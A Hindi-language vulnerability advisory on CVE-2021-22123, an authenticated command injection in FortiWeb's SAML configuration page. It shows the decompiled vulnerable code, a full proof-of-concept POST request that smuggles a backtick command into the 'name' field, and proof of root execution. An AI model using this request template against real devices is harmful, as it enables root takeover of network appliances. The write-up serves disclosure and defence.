
[CVE-2021-22123] Fortinet FortiWeb प्रमाणित OS कमांड इंजेक्शन
[CVE-2021-22123] Fortinet FortiWeb प्रमाणित OS कमांड इंजेक्शन
Hit Counter
FortiWeb प्रबंधन इंटरफ़ेस में कमांड इंजेक्शन भेद्यता एक प्रमाणित दूरस्थ हमलावर को SAML सर्वर कॉन्फ़िगरेशन पृष्ठ के माध्यम से सिस्टम में मनमाने कमांड निष्पादित करने की अनुमति दे सकती है। अधिकतम विशेषाधिकारों के साथ कमांड निष्पादित करने से हमलावर को सर्वर पर पूर्ण नियंत्रण प्राप्त हो जाता है। यह CWE-78: OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन का एक उदाहरण है और इसका CVSSv3 आधार स्कोर 8.7 है। इस भेद्यता का नंबर CVE-2021-22123 है, जिसे Fortiguard Lab पृष्ठ (FG-IR-20-120) में संबोधित किया गया था।
मूल रूप से, SAML का अर्थ Security Assertion Markup Language है और यह दो पक्षों के बीच पहचान डेटा स्थानांतरित करने के लिए एक XML-आधारित ओपन-स्टैंडर्ड है: एक आइडेंटिटी प्रोवाइडर (IdP) और एक सर्विस प्रोवाइडर (SP)। इसे एक सिंगल साइन-ऑन तंत्र के संचालन को सुनिश्चित करने के लिए डिज़ाइन किया गया है, जो आपको एक ही पहचानकर्ता का उपयोग करके विभिन्न सॉफ़्टवेयर उत्पादों तक पहुँचने की अनुमति देता है।
FortiWeb 6.3.7 से पहले के सभी संस्करण और उससे नीचे के संस्करण प्रमाणित OS कमांड इंजेक्शन भेद्यता के प्रति संवेदनशील हैं। इस भेद्यता का सफलतापूर्वक शोषण करने पर हमलावर को उच्चतम संभव विशेषाधिकारों के साथ प्रभावित डिवाइस पर पूर्ण नियंत्रण प्राप्त हो सकता है। वे एक स्थायी शेल, क्रिप्टो माइनिंग सॉफ़्टवेयर, या अन्य दुर्भावनापूर्ण सॉफ़्टवेयर स्थापित कर सकते हैं। असंभावित स्थिति में, यदि प्रबंधन इंटरफ़ेस इंटरनेट पर उजागर हो जाता है, तो वे DMZ से परे प्रभावित नेटवर्क तक पहुँचने के लिए समझौता किए गए प्लेटफ़ॉर्म का उपयोग कर सकते हैं।
एक हमलावर, जो पहले FortiWeb डिवाइस के प्रबंधन इंटरफ़ेस पर प्रमाणित होता है, SAML सर्वर कॉन्फ़िगरेशन पृष्ठ के name फ़ील्ड में बैकटिक्स का उपयोग करके कमांड छिपा सकता है। इन कमांडों को फिर अंतर्निहित ऑपरेटिंग सिस्टम के रूट उपयोगकर्ता के रूप में निष्पादित किया जाता है। कोड का संवेदनशील भाग नीचे दर्शाया गया है।
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
प्रूफ ऑफ कॉन्सेप्ट (PoC): इस भेद्यता का शोषण करने के लिए निम्नलिखित POST अनुरोध का उपयोग किया जा सकता है।
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
अंत में, 'touch' कमांड के परिणाम FortiWeb डिवाइस की स्थानीय कमांड लाइन पर देखे जा सकते हैं
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
संदर्भ: